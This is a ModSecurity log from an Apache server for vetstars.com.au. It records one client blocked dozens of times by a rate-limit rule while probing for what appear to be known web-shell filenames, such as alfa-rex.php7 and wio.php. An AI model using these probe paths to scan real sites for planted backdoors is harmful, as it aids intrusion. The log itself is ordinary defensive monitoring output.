[Sat Feb 28 21:30:22.114463 2026] [:error] [pid 11791:tid 11800] [client 4.204.200.32:23717] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaLt7muX5e1Q32gqxH3JmgAAAQc"]
[Sat Feb 28 21:30:22.538342 2026] [:error] [pid 39185:tid 39268] [client 4.204.200.32:56061] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaLt7hVE-FfM89u7BQak_AAAAJY"]
[Sat Feb 28 21:30:22.977752 2026] [:error] [pid 39185:tid 39267] [client 4.204.200.32:65129] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wio.php"] [unique_id "aaLt7hVE-FfM89u7BQalAAAAAJU"]
[Sat Feb 28 21:30:23.456031 2026] [:error] [pid 39183:tid 39197] [client 4.204.200.32:56047] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wio.php"] [unique_id "aaLt7xCf4HvhVePw3LZRfwAAAAU"]
[Sat Feb 28 21:30:23.901342 2026] [:error] [pid 39183:tid 39207] [client 4.204.200.32:23765] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wio.php"] [unique_id "aaLt7xCf4HvhVePw3LZRhQAAAA8"]
[Sat Feb 28 21:30:24.328991 2026] [:error] [pid 39183:tid 39200] [client 4.204.200.32:56604] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wio.php"] [unique_id "aaLt8BCf4HvhVePw3LZRiQAAAAg"]
[Sat Feb 28 21:30:24.761766 2026] [:error] [pid 22194:tid 22216] [client 4.204.200.32:23720] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaLt8H6mbajs3bzQGyuoEQAAAVQ"]
[Sat Feb 28 21:30:25.219158 2026] [:error] [pid 52460:tid 52473] [client 4.204.200.32:23793] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaLt8bLWOogAgHGh62SQ1wAAAYo"]
[Sat Feb 28 21:30:25.672613 2026] [:error] [pid 52460:tid 52469] [client 4.204.200.32:23735] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaLt8bLWOogAgHGh62SQ3gAAAYY"]
[Sat Feb 28 21:30:26.164948 2026] [:error] [pid 52460:tid 52463] [client 4.204.200.32:65109] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaLt8rLWOogAgHGh62SQ4wAAAYA"]
[Sat Feb 28 21:30:26.607627 2026] [:error] [pid 49763:tid 49769] [client 4.204.200.32:23791] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaLt8rTHSOG_yf2PpqF5uAAAAcM"]
[Sat Feb 28 21:30:27.027903 2026] [:error] [pid 52460:tid 52481] [client 4.204.200.32:23790] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaLt87LWOogAgHGh62SQ7wAAAZI"]
[Sat Feb 28 21:30:27.454212 2026] [:error] [pid 39183:tid 39195] [client 4.204.200.32:65108] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaLt8xCf4HvhVePw3LZRlQAAAAM"]
[Sat Feb 28 21:30:28.016803 2026] [:error] [pid 39183:tid 39202] [client 4.204.200.32:65131] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaLt9BCf4HvhVePw3LZRmQAAAAo"]
[Sat Feb 28 21:30:28.441618 2026] [:error] [pid 39183:tid 39204] [client 4.204.200.32:65101] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaLt9BCf4HvhVePw3LZRngAAAAw"]
[Sat Feb 28 21:30:28.947016 2026] [:error] [pid 39183:tid 39196] [client 4.204.200.32:56053] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaLt9BCf4HvhVePw3LZRpQAAAAQ"]
[Sat Feb 28 21:30:29.393315 2026] [:error] [pid 39183:tid 39210] [client 4.204.200.32:65134] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaLt9RCf4HvhVePw3LZRqwAAABI"]
[Sat Feb 28 21:30:29.867782 2026] [:error] [pid 49763:tid 49788] [client 4.204.200.32:56592] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaLt9bTHSOG_yf2PpqF5wAAAAdY"]
[Sat Feb 28 21:30:30.329357 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:56044] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaLt9rTHSOG_yf2PpqF5xAAAAdI"]
[Sat Feb 28 21:30:30.758064 2026] [:error] [pid 49763:tid 49783] [client 4.204.200.32:65089] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaLt9rTHSOG_yf2PpqF5ygAAAdE"]
[Sat Feb 28 21:30:31.189113 2026] [:error] [pid 49763:tid 49787] [client 4.204.200.32:65099] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaLt97THSOG_yf2PpqF5zgAAAdU"]
[Sat Feb 28 21:30:31.613240 2026] [:error] [pid 52460:tid 52483] [client 4.204.200.32:65091] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaLt97LWOogAgHGh62SRCAAAAZQ"]
[Sat Feb 28 21:30:32.147584 2026] [:error] [pid 52460:tid 52469] [client 4.204.200.32:56019] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaLt-LLWOogAgHGh62SRDAAAAYY"]
[Sat Feb 28 21:30:32.590595 2026] [:error] [pid 39292:tid 39297] [client 4.204.200.32:56006] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaLt-KIAO5fN7BxyqcGCEwAAAMM"]
[Sat Feb 28 21:30:33.156559 2026] [:error] [pid 22194:tid 22207] [client 4.204.200.32:65098] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaLt-X6mbajs3bzQGyuoEwAAAUs"]
[Sat Feb 28 21:30:33.648934 2026] [:error] [pid 39292:tid 39312] [client 4.204.200.32:56025] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaLt-aIAO5fN7BxyqcGCFgAAANI"]
[Sat Feb 28 21:30:34.110349 2026] [:error] [pid 11791:tid 11803] [client 4.204.200.32:56060] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aaLt-muX5e1Q32gqxH3JqAAAAQo"]
[Sat Feb 28 21:30:34.547050 2026] [:error] [pid 39184:tid 39225] [client 4.204.200.32:56578] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aaLt-ltZF9Zd_U7easDInwAAAEY"]
[Sat Feb 28 21:30:34.985186 2026] [:error] [pid 49763:tid 49772] [client 4.204.200.32:23782] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aaLt-rTHSOG_yf2PpqF52gAAAcY"]
[Sat Feb 28 21:30:35.412170 2026] [:error] [pid 39184:tid 39236] [client 4.204.200.32:25596] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aaLt-1tZF9Zd_U7easDIpwAAAFE"]
[Sat Feb 28 21:30:35.876239 2026] [:error] [pid 39183:tid 39212] [client 4.204.200.32:65125] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxc.php"] [unique_id "aaLt-xCf4HvhVePw3LZRxAAAABQ"]
[Sat Feb 28 21:30:36.377973 2026] [:error] [pid 39292:tid 39311] [client 4.204.200.32:23703] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxc.php"] [unique_id "aaLt_KIAO5fN7BxyqcGCIgAAANE"]
[Sat Feb 28 21:30:36.827533 2026] [:error] [pid 49763:tid 49778] [client 4.204.200.32:23695] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxc.php"] [unique_id "aaLt_LTHSOG_yf2PpqF55AAAAcw"]
[Sat Feb 28 21:30:37.459275 2026] [:error] [pid 49763:tid 49785] [client 4.204.200.32:23706] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxc.php"] [unique_id "aaLt_bTHSOG_yf2PpqF58QAAAdM"]
[Sat Feb 28 21:30:37.900209 2026] [:error] [pid 39185:tid 39261] [client 4.204.200.32:23784] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaLt_RVE-FfM89u7BQalDAAAAI8"]
[Sat Feb 28 21:30:38.353043 2026] [:error] [pid 39184:tid 39242] [client 4.204.200.32:23773] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaLt_ltZF9Zd_U7easDIqgAAAFc"]
[Sat Feb 28 21:30:38.810855 2026] [:error] [pid 39184:tid 39241] [client 4.204.200.32:23760] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaLt_ltZF9Zd_U7easDIrgAAAFY"]
[Sat Feb 28 21:30:39.244485 2026] [:error] [pid 39183:tid 39201] [client 4.204.200.32:56607] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gjm.php"] [unique_id "aaLt_xCf4HvhVePw3LZRzAAAAAk"]
[Sat Feb 28 21:30:39.749073 2026] [:error] [pid 49763:tid 49773] [client 4.204.200.32:23775] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ex.php"] [unique_id "aaLt_7THSOG_yf2PpqF6DAAAAcc"]
[Sat Feb 28 21:30:40.226762 2026] [:error] [pid 39183:tid 39196] [client 4.204.200.32:25503] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ex.php"] [unique_id "aaLuABCf4HvhVePw3LZR1gAAAAQ"]
[Sat Feb 28 21:30:40.691354 2026] [:error] [pid 39183:tid 39215] [client 4.204.200.32:23733] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ex.php"] [unique_id "aaLuABCf4HvhVePw3LZR3QAAABc"]
[Sat Feb 28 21:30:41.126797 2026] [:error] [pid 49763:tid 49781] [client 4.204.200.32:65094] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ex.php"] [unique_id "aaLuAbTHSOG_yf2PpqF6HAAAAc8"]
[Sat Feb 28 21:30:41.658553 2026] [:error] [pid 49763:tid 49787] [client 4.204.200.32:56017] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aaLuAbTHSOG_yf2PpqF6JgAAAdU"]
[Sat Feb 28 21:30:42.120737 2026] [:error] [pid 39183:tid 39203] [client 4.204.200.32:56600] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aaLuAhCf4HvhVePw3LZR6QAAAAs"]
[Sat Feb 28 21:30:42.621511 2026] [:error] [pid 39185:tid 39252] [client 4.204.200.32:25561] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aaLuAhVE-FfM89u7BQalEQAAAIY"]
[Sat Feb 28 21:30:43.032187 2026] [:error] [pid 39183:tid 39197] [client 4.204.200.32:25567] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aaLuAxCf4HvhVePw3LZR7gAAAAU"]
[Sat Feb 28 21:30:43.468286 2026] [:error] [pid 39184:tid 39230] [client 4.204.200.32:56627] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpo.php"] [unique_id "aaLuA1tZF9Zd_U7easDIvAAAAEs"]
[Sat Feb 28 21:30:43.976036 2026] [:error] [pid 52460:tid 52463] [client 4.204.200.32:23697] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpo.php"] [unique_id "aaLuA7LWOogAgHGh62SROAAAAYA"]
[Sat Feb 28 21:30:44.410088 2026] [:error] [pid 49763:tid 49769] [client 4.204.200.32:65119] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpo.php"] [unique_id "aaLuBLTHSOG_yf2PpqF6LwAAAcM"]
[Sat Feb 28 21:30:44.864849 2026] [:error] [pid 49763:tid 49777] [client 4.204.200.32:65095] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpo.php"] [unique_id "aaLuBLTHSOG_yf2PpqF6NAAAAcs"]
[Sat Feb 28 21:30:45.283527 2026] [:error] [pid 39184:tid 39239] [client 4.204.200.32:65110] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jq.php"] [unique_id "aaLuBVtZF9Zd_U7easDIvgAAAFQ"]
[Sat Feb 28 21:30:45.732002 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:65148] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jq.php"] [unique_id "aaLuBbTHSOG_yf2PpqF6OAAAAdI"]
[Sat Feb 28 21:30:46.151253 2026] [:error] [pid 49763:tid 49775] [client 4.204.200.32:23797] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jq.php"] [unique_id "aaLuBrTHSOG_yf2PpqF6PQAAAck"]
[Sat Feb 28 21:30:46.596047 2026] [:error] [pid 39292:tid 39316] [client 4.204.200.32:23731] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jq.php"] [unique_id "aaLuBqIAO5fN7BxyqcGCRgAAANY"]
[Sat Feb 28 21:30:47.055571 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:56620] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x7.php"] [unique_id "aaLuB7THSOG_yf2PpqF6SQAAAdI"]
[Sat Feb 28 21:30:47.535837 2026] [:error] [pid 11791:tid 11807] [client 4.204.200.32:65146] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x7.php"] [unique_id "aaLuB2uX5e1Q32gqxH3JtgAAAQ4"]
